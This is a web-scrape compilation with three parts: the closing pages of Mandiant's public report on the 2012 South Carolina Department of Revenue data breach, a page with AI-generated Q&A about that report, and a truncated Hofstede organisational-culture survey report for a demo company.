malicious software ( “backdoor” ) installed  Three systems had database backups or files stolen  One system was used to send data out of the environment to the attacker  Thirty nine systems were accessed by the attacker (the attacker performed such activities as reconnaissance and password hash dumping) 2. The attacker used at least 33 unique pieces of malicious software and utilities to perform the attack and data theft activities including :  A backdoor  Multiple password dumping tools  Multiple administrative utilities  Multiple Windows batch scripts to perform scripted actions  Multiple generic utilities to execute commands against databases 1 A publicly available utility used to compress and decompress files ( http:/ /www.7 -zip.org/ ) Page 4 This public incident response report and its publication is not intended nor should it be construed as a waiver of any privilege or immunity from disclosure that may attach to Mandiant’s privileged work, investigation, and reports. 3. The attacker remotely accessed the D epartment of Revenue environment using at least four IP addresses. 4. The attacker used at least four valid D epartment of Revenue user accounts during the attack . Information Exposure A high level description of stolen or potentially stolen information is provided below. 1. The attacker created fifteen encrypted 7 -zip archives totaling approximately 8.2 GB of compressed data . The data decompressed into approximately 74.7 GB of data. The data was comprised of:  Fourteen total 7-zip archives that contained twenty three database backup files  One 7-zip archive that contained ~1,200 files related to the sctax.org web site and an encrypted version of the data encryption key 2. The twenty thre e database backup files contained a combination of encrypted and unencrypted data. According to the D epartment of Revenue , all instances of encrypted data within the various databases were encrypted using an industry standard two -key method that leveraged the AES 256 -bit encryption standard . One key was used to encrypt the data (“encryption key”); the second key was used to protect the encryption key by encrypting it (“key encrypting key ” or KEK).  The attacker stole the encrypted version of the data encryption key  No evidence was discovered to suggest that the attacker stole, or accessed, the key encrypting key REMEDIATION Mandiant developed an immediate containment plan to deny the attacker access to the environment using the known methods of access . A containment plan is critical in a compromise involving potential PII and/or cardholder data loss. The D epartment of Revenue started implementing the containment plan on October 19, 2012 and completed containment activities on October 20, 2012. Mandiant then developed a plan to implement intermediate and longer term recommendations to enhance the Department of Revenue’s security against future compromise. Those longer term recommendations are in the process of being implemented. No evidence of ongoing att acker activity post -remediation has been identified. Public Incident Response Report Submitted By: Marshall Heilman Director Christopher Glyer Manager --- ## Source: https://montance.com/questions.php?id=42 [![pdf](content/images/icons/pdf.svg) Mandiant Report 0 South Carolina.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgQXowVzdaMW41RFE/view?usp=sharing) Mandiant Report 0 South Carolina Case study report on the 2012 South Carolina Department of Revenue breach. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What date was Mandiant contracted? A: October 12, 2012. * Q: What triggered the investigation? A: Law enforcement contacted the DoR on Oct 10, 2012, regarding stolen PII. * Q: What was the initial entry vector? A: A phishing email sent on August 13, 2012. * Q: How many valid user accounts were compromised? A: At least four. * Q: What encryption method was used for the data? A: AES 256-bit encryption. * Q: Did the attacker get the keys? A: The attacker stole the data key but not the Key Encrypting Key (KEK). * Q: How much data was exfiltrated? A: Approx 8.2 GB compressed, 74.7 GB uncompressed. * Q: What format was the data exfiltrated in? A: Encrypted 7-zip archives. * Q: How did the attacker move laterally? A: Using stolen credentials to log into the Citrix remote access portal. * Q: When was the containment plan executed? A: October 19-20, 2012. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgU09xWnh4QUdZQ1E/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgU09xWnh4QUdZQ1E/view?usp=sharing]** Degree of functionality and opportunities for improvement of Unit of Demo Company 15.11.2016 Unit of Demo Company15.11.2016 ©The hofstede centre Page 2/41CONTENTS 1 RESULTS OVERVIEW .......................................................................................................3 2 YOUR POSITIONS IN THE HOFSTEDE MULTI-FOCUS MODEL .............................5 2.1 D1: Organizational Effectiveness ...................................................................................6 2.2 D2: Customer Orientation ...............................................................................................8 2.3 D3: Control .........................................................................................................................10 2.4 D4: Focus ...........................................................................................................................12 2.5 D5: Approachability ..........................................................................................................13 2.6 D6: Management Philosophy ..........................................................................................15 3 CHARACTERISTICS ..........................................................................................................17 3.1 Homogeneity ......................................................................................................................18 3.2 Identity ................................................................................................................................18 3.3 Acceptance of Leadership Style ....................................................................................19 3.4 Identification with Organization ....................................................................................22 3.5 Work and Stay Motivation ...............................................................................................24 4 INTERPRETATION .............................................................................................................25 4.1 Early Warning Signs .........................................................................................................26 4.2 Additional Salient Findings .............................................................................................28 5 INPUT FOR CHANGE .......................................................................................................29 5.1 Trust and Security ............................................................................................................30 5.2 (De-)Motivators .................................................................................................................31 5.3 Ease of Change per Dimension .....................................................................................31 6 APPENDIX ..........................................................................................................................32 6.1 Definition of Organizational Culture ..............................................................................33 6.2 Explanation of Dimensions .............................................................................................34 6.3 Normative Windows ..........................................................................................................40 Unit of Demo Company15.11.2016 ©The hofstede centre Page 3/411RESULTS OVERVIEW YOUR SCORES ON THE MODEL Goal External Strict Professional Closed Work 80 90 70 60 50 40 30 20 10 0100 Means Internal Easygoing Local Open Employee D1 D2 D3 D4 D5 D6 Color codes used for actual scores 0 - 9: very functional 10 - 14: functional 15 - 19: some opportunities for improvement 20 - 29: opportunities for improvement 30 - 39: many opportunities for improvement 40 or more: very many opportunities for improvementColor codes used for optimal scores If blue color of the optimal bar is changed please reconsider the optimal position. Nothing may be wrong but please reconsider. Strong recommendation to reconsider. Exceptional finding. The dimensions of the Hofstede Multi-focus Model D1 Organizational effectiveness D2 Customer orientation D3 ControlD4 Focus D5 Approachability D6 Management philosophy Unit of Demo Company15.11.2016 ©The hofstede centre Page 4/41OVERALL DEGREE OF FUNCTIONALITY The functionality index shows the degree to which your subculture helps or hinders you and your colleagues in executing tasks at the highest level of performance. 100 Opportunities for improvement 0 0 Degree of functionality 100 Very many opportunitiesMany opportunitiesOpportunities Some opportunitiesFunctional Very functional IDENTITY The identity of your culture is as follows: •New employees quickly feel at home •Everybody always puts in the maximum effort •Employees' private lives are considered their own business •It takes a real effort to be fired •People who fail are given the benefit of the doubt •People are often worried about losing their jobs RESPONDENTS (ABSOLUTE NUMBERS) Top managementMiddle managementLower managementOperational staff* Unit 6 *Those who don't manage Unit of Demo Company15.11.2016 ©The hofstede centre Page 5/412YOUR POSITIONS IN THE HOFSTEDE MULTI- FOCUS MODEL 2.1 D1: Organizational Effectiveness ...........................................................6 2.2 D2: Customer Orientation ........................................................................8 2.3 D3: Control .................................................................................................10 2.4 D4: Focus ....................................................................................................12 2.5 D5: Approachability ...................................................................................13 2.6 D6: Management Philosophy ..................................................................15 Unit of Demo Company15.11.2016 ©The hofstede centre Page 6/412.1D1: Organizational Effectiveness The means oriented versus goal oriented dimension is most closely connected with effectiveness of the organization. In a means-oriented culture, the way in which work has to be carried out matters most; people identify with the “how” . In a goal-oriented culture, outcomes matter most. Employees strive to achieve internal goals and results, sometimes taking substantial risks; people identify with the “what” . D1: Organizational effectiveness Means oriented Goal oriented 0 50 100A O Your strategic windowInternal normative windowExternal normative window Degree of functionality 15 - 19: some opportunities for improvementOptimal 85Actual 66 GAP ANALYSIS #a# Since there is some room for improvement on D1 we show a table below giving information for change management purposes. The information will help you to identify those characteristics that, if successfully changed, will create the biggest improvement. Relevance 1)We do a poor job of gaining people's trust (#34) **** 2)Risk management and security takes greater priority over internal entrepreneurship (#50)**** 3)We could be more straightforward (#43) * 4)People who are promoted should show more initiative (#61) * Unit of Demo Company15.11.2016 ©The hofstede centre Page 7/41INTERPRETATION FROM IDEAL WORK ENVIRONMENT Contrary to the text above, the text presented below about your ideal work environment is just an interpretation and you may have to change it. Relevance 1)Around 55% of respondents feel overwhelmed by expectations they cannot meet and therefore don't want to take any responsibility.*** Unit of Demo Company15.11.2016 ©The hofstede centre Page 8/412.2D2: Customer Orientation D2 is most closely connected with the way employees relate to customers of the organization, as well as to other stakeholders. In an internally driven culture employees take for granted that business ethics and honesty matters most when it comes to dealing with the outside world. Because of this belief, they perceive that they know best what is good for the customer and the world at large. In a very externally driven culture the only emphasis is on meeting the customer’s requirements. Results and a pragmatic approach to achieving results for customers matter most in this culture, sometimes at the expense of ethical practices. D2: Customer orientation Internally directed Externally directed 0 50 100A O Your strategic windowInternal normative windowExternal normative window Degree of functionality 20 - 29: opportunities for improvementOptimal 75Actual 52 INFORMATION ON EXTERNAL WINDOW In order to help you to reassess your optimal position we're listing below characteristics which define the size of the external window. The list is limited to characteristics which contribute more than 5 points to the total width of the window. •The degree to which laws and governmental directives interfere with the way we try to meet clients' demands compared to other business activities: high. Unit of Demo Company15.11.2016 ©The hofstede centre Page 9/41GAP ANALYSIS #a# Since there is room for improvement on D2 we show a table below giving information for change management purposes. The information will help you to identify those characteristics that, if successfully changed, will create the biggest improvement. Relevance 1)We should worry about what our competitors are planning to do*** 2)Achieving results should be more valued and following procedures correctly should be less valued*** 3)We are not sufficiently committed to servicing our (internal) clients well* 4)We should emphasize consistency less and flexibility more (#72)* 5)In matters of business ethics and honesty, we should become more pragmatic* INTERPRETATION FROM IDEAL WORK ENVIRONMENT Contrary to the text above, the text presented below about your ideal work environment is just an interpretation and you may have to change it. Relevance 1)Around 75% of respondents prefer a work situation in which complacency is the norm, because they have been pushed around too much or because they are asked to work above their competence level.**** 2)Around 60% of respondents seem to be so unmotivated that they follow rules without considering the implication of the outcome, so that they cannot be held responsible by management for doing anything wrong.**** 3)Around 45% of respondents have strong misgivings about the fact that we have to please our clients. Work life would be a lot easier if clients would not exist. Please determine whether this reflects a lack of resilience, and, if so, determine what has caused this.** Unit of Demo Company15.11.2016 ©The hofstede centre Page 10/412.3D3: Control This dimension refers to the amount of internal structuring, control and discipline . A very easygoing culture has loose internal structure, little control and discipline, and lacks predictability; people improvise and there are a lot of surprises. In a very strict work discipline, there is a great deal of internal control. People tend to be very cost conscious, punctual and serious. D3: Control Easygoing work discipline Strict work discipline 0 50 100A O Internal normative window External normative windowExternal normative window Degree of functionality 10 - 14: functionalOptimal 35Actual 49 INFORMATION ON EXTERNAL WINDOW Given the overlap identified between the two external normative windows, you want the culture to support an innovative spirit and meticulous task execution at the same time. From a cultural perspective, this is not possible. Therefore, please consider creating functional diversity. For further explanation you may want to contact your change management consultant. In order to help you to reassess your optimal position, the list below provides the characteristics you chose when defining the optimal culture, since these increased the size of the two external windows with more than 5 points: The external window on the right: •Need to be innovative, i.e. being innovative outside the existing framework in which we operate or in other words: “we have to think out of the box” is: high. The external window on the left: Unit of Demo Company15.11.2016 ©The hofstede centre Page 11/41•Predictability: moderate. •Inherent precision: high. •Inherent risk: high. •Degree to which work demands standards and controls: moderate. •Degree of material-intensive processes: moderate. •Change in size of work force: personnel recently decreased considerably. •Top manager's activities of the unit (of measurement) concerned: claims that he/she spends a relatively great amount of time reading and writing memos. Unit of Demo Company15.11.2016 ©The hofstede centre Page 12/412.4D4: Focus In a local company, employees identify with the boss and/or the unit in which they work. In a professional organization, employees identify with the profession and/or the content of the job. In a very local culture employees are very short-term oriented and internally focused. There is strong social control and pressure to be like everybody else. A very professional culture encourages people to be long-term oriented and to go out into the world to learn about the latest developments, and creates a diverse work place. Such a culture also enables positive cooperation between different departments and function groups. D4: Focus Local Professional 0 50 100A O Your strategic windowInternal normative windowExternal normative window Degree of functionality 0 - 9: very functionalOptimal 85Actual 79 INFORMATION ON EXTERNAL WINDOW In order to help you to reassess your optimal position we list below the characteristics which define the size of the external window. The list is limited to characteristics which contribute more than 5 points to the total width of the window. •Assessment of management is based on: internal targets, e.g. compared with last year. •Personality of CEO/top manager: unclear Unit of Demo Company15.11.2016 ©The hofstede centre Page 13/412.5D5: Approachability This dimension relates to the openness of an organization. In an open culture, newcomers feel immediately welcomed; people are open to both insiders and outsiders. There is a shared belief that almost anyone fits in the organization. In a closed culture secrecy prevails. As a result, information travels slowly. This type of culture could be considered functional in service of protecting intellectual property or other information that should not leak out “to the street”. In a closed culture, a person must earn his or her stripes before being accepted. D5: Approachability Open system Closed system 0 50 100A O Your strategic windowInternal normative windowExternal normative window Degree of functionality 15 - 19: some opportunities for improvementOptimal 30Actual 14 INFORMATION ON EXTERNAL WINDOW In order to help you to reassess your optimal position we list below the characteristics which define the size of the external window. The list is limited to characteristics which contribute more than 5 points to the total width of the window. •Degree of formality: moderate. •Need to be secretive about our know-how to avoid industrial espionage: high. •Need to be secretive about our know-how/data as disclosure would harm our clients: high. Unit of Demo Company15.11.2016 ©The hofstede centre Page 14/41GAP ANALYSIS #a# Since there is some room for improvement on D5 we show a table below giving information for change management purposes. The information will help you to identify those characteristics that, if successfully changed, will create the biggest improvement. Relevance 1)It should take new employees more time before they feel at home** 2)People who fail should not be given the benefit of the doubt ** 3)We should tell our boss less of what we think * 4)Managers should spend less time having their direct reports discuss their personal problems with them* 5)Our boss should allow us to just walk in for advice less often * Unit of Demo Company15.11.2016 ©The hofstede centre Page 15/412.6D6: Management Philosophy Employee orientation opposes a concern for people to a concern for completing the job, whatever the price may be. In a very employee-oriented culture people feel that personal problems are taken into account by management and that the organization takes co- responsibility for the welfare of its employees, sometimes at the expense of the work. In a very work-oriented culture there is intense pressure to perform the task, even at the expense of employees' well-being. D6: Management philosophy Employee-oriented Work-oriented 0 50 100A O Your strategic windowInternal normative windowExternal normative window Degree of functionality 15 - 19: some opportunities for improvementOptimal 30Actual 45 INFORMATION ON EXTERNAL WINDOW In order to help you to reassess your optimal position we list below the characteristics which define the size of the external window. The list is limited to characteristics which contribute more than 5 points to the total width of the window. •The organization finds itself in difficult economic and financial circumstances. •Reorganizations: at least during the last three years we have witnessed continuous reorganizations. •Executives believes that if you don't put people under a considerable amount of pressure they will only do as little as possible: only to a certain extent accurate Unit of Demo Company15.11.2016 ©The hofstede centre Page 16/41GAP ANALYSIS #a# Since there is some room for improvement on D6 we show a table below giving information for change management purposes. The information will help you to identify those characteristics that, if successfully changed, will create the biggest improvement. Relevance 1)We should worry much less about losing our jobs **** 2)Management should be less focused on only the work we do * 3)Managers should become more consultative and less ambitious* 4)Pressure for getting the job done should decrease, and instead personal problems of employees should be taken more into account* INTERPRETATION FROM IDEAL WORK ENVIRONMENT Contrary to the text above, the text presented below about your ideal work environment is just an interpretation and you may have to change it. Relevance 1)Management should, by nature, have a very employee- oriented leadership style*** 2)Around 50% of respondents believe that management is too consultative, distracting them from ongoing work.*** Unit of Demo Company15.11.2016 ©The hofstede centre Page 17/413CHARACTERISTICS 3.1 Homogeneity ...............................................................................................18 3.2 Identity .........................................................................................................18 3.3 Acceptance of Leadership Style .............................................................19 3.4 Identification with Organization ..............................................................22 3.5 Work and Stay Motivation .......................................................................24 Unit of Demo Company15.11.2016 ©The hofstede centre Page 18/413.1Homogeneity The literature suggests that a strong culture will be helpful in achieving your goals. This has been validated by Hofstede’s research, as there is a positive relationship between the degree of strength of a culture and the score on D1, means versus goal orientation. At the same time, the literature suggests that this strength may become a weakness. In a strong culture, people will develop the same point of view over time, which closes them off to new experiences and ideas that should been taken into account. A weak culture, on the other hand, may hinder open communication and vision for a common goal. This, in turn, may hinder cooperation between different subgroups within the organization. The words “strong” and “weak” are very relative. Other descriptors could include “homogeneous” or “heterogeneous." Finding: Your culture scores in this respect: weak . 3.2Identity The strength of a subculture is reflected in the number of characteristics on which respondents agree when describing their subculture. The content of all characteristics on which respondents agree to a high degree forms the identity of the organization. This is true whether you are aware of your identity or not. It is interesting to note that until recently we rarely found “core values” as part of an organization's true identity. In other words, stated “core values” often remain ideology instead of becoming or being part of the operating environment of the firm. The identity of your culture is as follows: •New employees quickly feel at home •Everybody always puts in the maximum effort •Employees' private lives are considered their own business •It takes a real effort to be fired •People who fail are given the benefit of the doubt •People are often worried about losing their jobs Unit of Demo Company15.11.2016 ©The hofstede centre Page 19/413.3Acceptance of Leadership Style The leadership acceptance score indicates the percentage of respondents where actual and desired leadership style match. Acceptance of leadership style High 80 60 40 20 0100 Low Score Color codes used for leadership acceptance 61 - 100: very functional 51 - 60: functional 41 - 50: some opportunities for improvement 31 - 40: opportunities for improvement 21 - 30: many opportunities for improvement 0 - 20: very many opportunities for improvement There is room for improvement on leadership acceptance. Please see the table below. Also check the diagrams with asterisks above (if such information has been identified in the diagrams with asterisks) for relevant information about potential improvements in the way management can be more successful. Unit of Demo Company15.11.2016 ©The hofstede centre Page 20/41Leadership style Actual Desired AUTOCRATIC 13% 0% Usually makes prompt decisions and announces them to his/her subordinates. The leader expects employees to carry out the decisions without questions or challenges. PATERNALISTIC 38% 25% Usually makes prompt decisions but tries to explain them fully to empoyees before proceeding. The leader gives employees the reasons for the decisions and answers whatever questions they may have. CONSULTATIVE 25% 50% Usually consults with employees before reaching a decision. The leader listens and considers empoyees' input and advice, then announces the decision. The leader expects employees will implement without question or challenge, regardless of whether it aligns with their input. DEMOCRATIC 0% 25% Usually calls a meeting of when there is an important decision to be made. He/she puts the problem before the group and invites discussion. He/she accepts the majority viewpoint as the decision. OTHER 25% Under most circumstances democratic leadership in the work place, as defined above, will not work. Therefore, respondents who desire such bosses to such a high degree convey one of the following messages: •They do not appreciate that a more directive leadership approach can help bring about a sense of common purpose and efficient decision making. •They are unaware of the fact that a democratic style in the workplace is only effective in a very limited set of situations. •They are frustrated by the way they have been managed so far. •Any other explanation you believe could be true based upon your perceptions and experience. Unit of Demo Company15.11.2016 ©The hofstede centre Page 21/41Typically people in low Power Distance countries prefer consultative leadership (if “Power Distance” is a concept unknown to you, please check this with your consultant). If fewer than 70% prefer consultative leadership, this gives salient additional information about your actual culture. The following explanation(s) may apply: •For a long time, the leadership of the organization has been somewhat autocratic and/or paternalistic. Through a process of selection and self- selection, those who have great difficulty with such leadership styles have left the organization. Those who stayed behind will show less initiative and they will take less responsibility than is typically found. •Executives have been rather indecisive, therefore putting the organization at risk in difficult times. •There is a lot of disagreement among those in control about the course the organization should take, creating organizational paralysis. •Respondents are working above their competence level. •Any other explanation you believe could be true based upon your perceptions and experience. Unit of Demo Company15.11.2016 ©The hofstede centre Page 22/413.4Identification with Organization Identification with organization shows the degree to which respondents identify with your organization as a whole. Identification with Demo CompanyHigh 80 60 40 20 0100 LowScore Color codes used for identification with organization 70 - 100: very functional 65 - 69: functional 60 - 64: some opportunities for improvement 50 - 59: opportunities for improvement 40 - 49: many opportunities for improvement 0 - 39: very many opportunities for improvement There is much room for improvement on Identification with Organization. Much improvement can be achieved by assessing to which degree you already do the following: Create a more attractive and compelling identity by: •Aligning what you say with what you do, and what you do with what you say. •Be successful in whatever you want to accomplish, while at the same time taking an equal responsibility to all stakeholders, as well as to the environment in which you operate. Make the work environment more attractive by: •Giving more positive than negative feedback when addressing people, both on an individual and group level. Unit of Demo Company15.11.2016 ©The hofstede centre Page 23/41•Celebrating important events. •Creating a warm, informal, open and pleasant work atmosphere. •Making the culture employee-oriented, as described above. Having assessed the above, decide which of the above improvements can be accomplished and add them to other issues you may want to address based on the information given in the diagrams with asterisks. Unit of Demo Company15.11.2016 ©The hofstede centre Page 24/413.5Work and Stay Motivation Many factors influence motivation of people, one of them being the actual culture. The actual culture is one of the more important determinants, next to issues such as content of the job, remuneration and career opportunities. We distinguish here two different types of motivation, work motivation and stay motivation. The work motivation index shows to which degree culture supports or hinders you and your colleagues in realizing productive (effective) task execution. The stay motivation index shows to which degree your culture supports or hinders you and your colleagues to stay with your organization. Scores below have been calculated based on your actual and optimal scores on various dimensions. DDWork motivation high + AA Stay motivation low - + Stay motivation high CC - Work motivation lowBBActual score Optimal score The more your culture scores in the direction of AA the more your organization finds itself in the best of all worlds , unless you want to increase the rate of turnover of people in your organization. The more your culture scores in the direction of CC while at the same time your colleagues don’t leave by lack of opportunities, the more your organization finds itself in the worst of all worlds . You are strongly recommended to move away from this position. More information on these two indices (including the exact scores) and other HR indices are part of the HR package. Contact your consultant for more info. Unit of Demo Company15.11.2016 ©The hofstede centre Page 25/414INTERPRETATION 4.1 Early Warning Signs ..................................................................................26 4.2 Additional Salient Findings ......................................................................28 Unit of Demo Company15.11.2016 ©The hofstede centre Page 26/414.1Early Warning Signs Additional, specific information about a dimension is provided only when the actual and optimal scores differ by 15 points or more. Typically, differences that are less than 15 points on a dimension imply that your culture is healthy and functional, so no follow up action is required. However, it is still possible that despite functional scores on these dimensions, a particular aspect of the culture may be unhealthy or dysfunctional. This is not shown in sections 2.1 up to 2.6 as such a dysfunctional aspect is then compensated by one or more functional aspects. INPUT FROM ACTUAL CULTURE The following may be early warning signs of dysfunctional characteristics within your culture. These characteristics may need to be addressed if they have surfaced during the last two years. On the other hand, if these characteristics have always existed, then they may be specific to your work reality and do not need to be addressed. Only you can know the answer since the survey cannot measure a culture's duration. To help you determine whether there are issues to be addressed, a list of potentially dysfunctional cultural aspects culture that have not been discussed in other sections of this report is provided below. The following early warning signs have been identified: Relevance 1)Please consider whether people's energy is being directed at extinguishing fires, rather than drawing lessons from what went wrong.D4** 2)Check whether people are identifying with their own group to such a degree that this hinders smooth cooperation between their group and other groups.D4** INTERPRETATION FROM IDEAL WORK ENVIRONMENT What applies to differences between the actual and optimal scores per dimension also applies to your ideal work environment. Even if the actual score on a dimension appears to be functional there may still be something cooking at a deeper level of reality, which may be implicitly shown by deviations from what is typically shown in the ideal work environment. Unit of Demo Company15.11.2016 ©The hofstede centre Page 27/41There are significant differences between your group's ideal work environment and the average ideal work environment in our databank, which have not been covered in section 2.1 up to section 2.6. Contrary to the text in the table above, the text presented about your ideal work environment is just an interpretation and you may have to change it. Relevance 1)Around 90% of respondents are upset that colleagues are wasting their time by not arriving on time, or by not delivering on time.D3**** 2)Around 85% of respondents are upset by the fact that colleagues and/or managers are mismanaging resources.D3**** 3)Around 60% of respondents have an inward looking attitude, probably because they feel threatened.D4**** 4)Around 35% of respondents are not interested in any further development of themselves. They prefer to hide in the shadow of their boss.D4* Unit of Demo Company15.11.2016 ©The hofstede centre Page 28/414.2Additional Salient Findings Three additional types of information are provided below: a.New data or information unrelated to findings presented in other parts of this report or to optimal choices made. b.New data related to management responses to the questions regarding the context in which your sub-culture is embedded. c.Additional findings that have been presented above explicitly or implicitly, and which point to dysfunctional aspects of your subculture regardless of the optimal culture chosen. In general, the following rule applies to the information presented below: “The less additional data identified, the fewer complications you may have to face!” As a result, it is possible that no new information will be provided below, or that the information provided relates to only one or two categories instead of three categories. Finding: Below the following salient information has been found, which needs your attention. c. Dysfunctional aspects of your sub-culture: Your culture will make it almost impossible to keep secrets regarding personal, private information. Whether this is dysfunctional or not is something you need to determine. Unit of Demo Company15.11.2016 ©The hofstede centre Page 29/415INPUT FOR CHANGE 5.1 Trust and Security .....................................................................................30 5.2 (De-)Motivators .........................................................................................31 5.3 Ease of Change per Dimension .............................................................31 Unit of Demo Company15.11.2016 ©The hofstede centre Page 30/415.1Trust and Security The suggestions provided below can be used for both explicit and implicit (change people's work environment to such a degree that there is strong incentive to adjust their behavior) change approaches. The two diagrams indicate the degree to which your actual subculture will enable or hinder change. FEELINGS OF TRUST ←Signs of distrust Signs of trust → -100 -80 -60 -40 -20 0 20 40 60 80 100 It is not our strength to create trust. We can trust that people here do what they promise they will do. We can be sure that people will give you trustworthy information. There exists trust between our group and other groups.Broken down into the following components:In general, there is more trust than distrust FEELINGS OF SECURITY -100 -80 -60 -40 -20 0 20 40 60 80 100 Broken down into the following components: ←Signs of anxiety Signs of security →Management level above us feels secure. Also newcomers are easily included. Job security doesn't exist here. No need to worry about being made a scapegoat. Personal problems are taken into account. We tend to avoid risks. The environment has no effect on us.In general, there is more security than anxiety Unit of Demo Company15.11.2016 ©The hofstede centre Page 31/415.2(De-)Motivators The information above is especially relevant when a direct approach to change has been chosen, especially at executive level. Executives are encouraged to seriously consider the information provided below. ADDITIONAL MOTIVATORS AND/OR DEMOTIVATORS FOR MAKING CHANGE HAPPEN -100 -80 -60 -40 -20 0 20 40 60 80 100 The subculture is result driven. Change readiness is low. Feelings of urgency are high. We are resilient.Broken down into the following components: ← Demotivators Motivators → Our subculture hinders (explicit) change 5.3Ease of Change per Dimension The information below is generally true for all organizations and not based on your actual culture scores. Actual scores that are positioned within internal normative windows will require more emotional energy to change than actual scores that are positioned within strategic windows. This is especially true for positions within internal normative windows on D1 and D4. Please refer to the actual scores of your subculture. Additionally, actual positions within strategic windows on some dimensions can be changed more easily than positions on other dimensions. Therefore, change will require most emotional energy for the following dimensions: D1, D4 and D5. Please double check the actual scores of your subculture. The Executive Match 360™ can be used to support explicit change. This tool measures if the behavior of the management team supports the defined optimal culture. For more information contact your consultant. Unit of Demo Company15.11.2016 ©The hofstede centre Page 32/416APPENDIX 6.1 Definition of Organizational Culture ......................................................33 6.2 Explanation of Dimensions ......................................................................34 6.3 Normative Windows ..................................................................................40 Unit of Demo Company15.11.2016 ©The hofstede centre Page 33/416.1Definition of Organizational Culture Hofstede defines organizational culture as the way people in organizations relate to each other, to their work and to the outside world compared to other organizations . This definition is both useful and practical. Each part of the definition is clarified below: “Relating to each other ” refers to issues such as: •If a colleague commits an error, will we help him/her or will we do nothing while thinking, “good for me”. •Will we hide from our boss when things go wrong? •Will our boss genuinely support our career development even if this means that he/she may lose us to another manager or company? “Relating to our work ” refers to issues such as: •Efficient or inefficient task execution •Productive or unproductive task execution •Innovative or meticulous task execution “Relating to the outside world ” refers to issues such as: •“We welcome outsiders” versus “We reject outsiders” •"We go out into the world to learn" versus "We stay inside the organization" •“We celebrate the customer” versus “Customers are a nuisance” The last part of our definition reads: “ compared to other organizations ”. This last part of the definition points out that culture exists only by comparison. Comparison allows you to identify whether your company's cultural findings are mainstream or exceptional. Without comparison, it would be hard to know whether the optimal culture you defined is attainable or whether it reflects an ideology which will not work in real life. Unit of Demo Company15.11.2016 ©The hofstede centre Page 34/416.2Explanation of Dimensions D1: ORGANIZATIONAL EFFECTIVENESS D1, the means oriented versus goal oriented dimension is, among the eight dimensions, most closely connected with organizational effectiveness. In a means-oriented culture, the way in which work has to be carried out matters most; people identify with the “how” . In a goal-oriented culture, outcomes matter most. Employees strive to achieve internal goals and results, sometimes taking substantial risks; people identify with the “what” . In a means-oriented culture people perceive themselves as avoiding risks and limiting their effort in their jobs. In this type of culture, work is often routine and each workday is pretty much the same. This type of culture may be functional if, for example, safety in the work situation is crucial for survival. In a very means-oriented culture people may play political games to such a degree that it gets in the way of achieving internal goals and objectives. Such a culture is by definition dysfunctional. The dysfunctional aspects of the dimension are presented by the internal normative window below. In a very goal-oriented culture, the employees are primarily out to achieve specific internal goals or results, even if these involve substantial risks. In the case of D1, you will want to score as high as possible given the unique limitations facing your company, such as job content, work environment and your own risk tolerance. From a marketplace perspective, scoring higher than one’s competitors within the limitations set for the respective line of business or for your specific organization or group will give your company competitive advantage. D1: Organizational effectiveness Means-oriented Goal-oriented 0 50 100 Internal normative window Unit of Demo Company15.11.2016 ©The hofstede centre Page 35/41D2: CUSTOMER ORIENTATION In an internally driven culture employees perceive their task towards the outside world as totally given, based on the idea that business ethics and honesty matters most and that they know best what is good for the customer and the world at large. In a very internally driven culture complacency prevails and people will abide to the rules even if they know that this will not be in the interest of stakeholders and their organization alike. Such a culture is by definition dysfunctional. This dysfunctional part of the dimension is presented by the internal normative window below. In a very externally driven culture the only emphasis is on meeting the customer’s requirements; results are most important and a pragmatic and flexible attitude rather than an ethical attitude prevails even if this will not be in the longer term interest of the customer. Dimension D2 is different from dimension D1 because the satisfaction of the customer, client or commissioning party is at stake. Note that from a cultural perspective no distinction is made between internal or external clients and stakeholders. This dimension does not reflect the degree to which interests of employees are met, which is covered by D6, employee versus work oriented. The discussion on credit crisis and ethical entrepreneurship has been triggered by the consequence of trying to meet the demands of one group at all costs, namely, shareholders. D2: Customer orientation Internally driven Externally driven 0 50 100 Internal normative window Unit of Demo Company15.11.2016 ©The hofstede centre Page 36/41D3: CONTROL This dimension refers to the amount of internal structuring, control and discipline. A very easygoing culture is characterized by loose internal structure, a lack of predictability, and little control and discipline; people improvise and surprises are common. In addition, an extremely easygoing culture will also enable sloppiness and careless behavior, represented by the internal normative window. Please see below. A very strict work discipline is characterized by the opposite behaviors: people are very cost conscious, punctual and serious. D3 describes the predictability of internal functioning, whereas dimension D2 indicates to what extent internal functioning is driven by the external needs and demands of customers or clients. In the case of this dimension we find in organizations of any size and complexity the highest degree of functional diversity. A loose culture enables innovation and quick adaptability to changes in the environment. A strict culture enables cost efficiency, avoidance of failure and rejects, and safety. In contrast to the other five autonomous dimensions, D3 has two external windows. The size of the strategic window may be decreased on the left-hand side by an external window, which means that aspects of the culture require a degree of strictness. On the other hand, the size of the strategic window may also be decreased on the right-hand side by an external window, which means that other aspects of the culture require a degree of looseness. These windows are created by the way senior leaders answered the online questions to assess the optimal culture and illustrate the complexity of organizations. D3: Control Easygoing Strict work discipline 0 50 100 Internal normative window Unit of Demo Company15.11.2016 ©The hofstede centre Page 37/41D4: FOCUS D4 describes the degree of social control and the main focus of employees' identity. In a local company, employees identify with the boss and/or the unit in which they work. In a professional company, employees identify with their profession and/or the content of the job. D4 indicates to what extent employees’ behavior is influenced by social norms. For example, in a highly local culture, employees will be strongly influenced by social norms. The degree to which employees identify with the total organization is by Identification with organization and is not measured by D4. In a very local culture employees are very short-term oriented and internally focused. There is strong social control to be like everybody else. Local cultures can be functional in situtations where people operate under extreme threat, as in the case of an army at war. Similarly, a local culture can be functional in “Us against the rest of the world” kinds of situations, such as when a pioneer tries to succeed where everybody else has failed. A very professional culture enables people to be oriented toward the long term, to go out into the world to learn about the latest developments, to thrive in a diverse work place. This type of culture enables effective cooperation between different departments and function groups. D4: Focus Local Professional 0 50 100 Internal normative window Unit of Demo Company15.11.2016 ©The hofstede centre Page 38/41D5: APPROACHABILITY This dimension relates to the openness of an organization. In an open culture newcomers are made to feel immediately welcomed; people are open to insiders and outsiders alike, and there is a shared belief that almost anyone fits in the organization. In a closed culture secrecy prevails, which may be necessary to protect intellectual property or prevent confidential information from being leaked. In this type of culture, a person has to earn his or her stripes before being accepted. Information travels slowly in a closed culture. In a very closed culture, people feel that 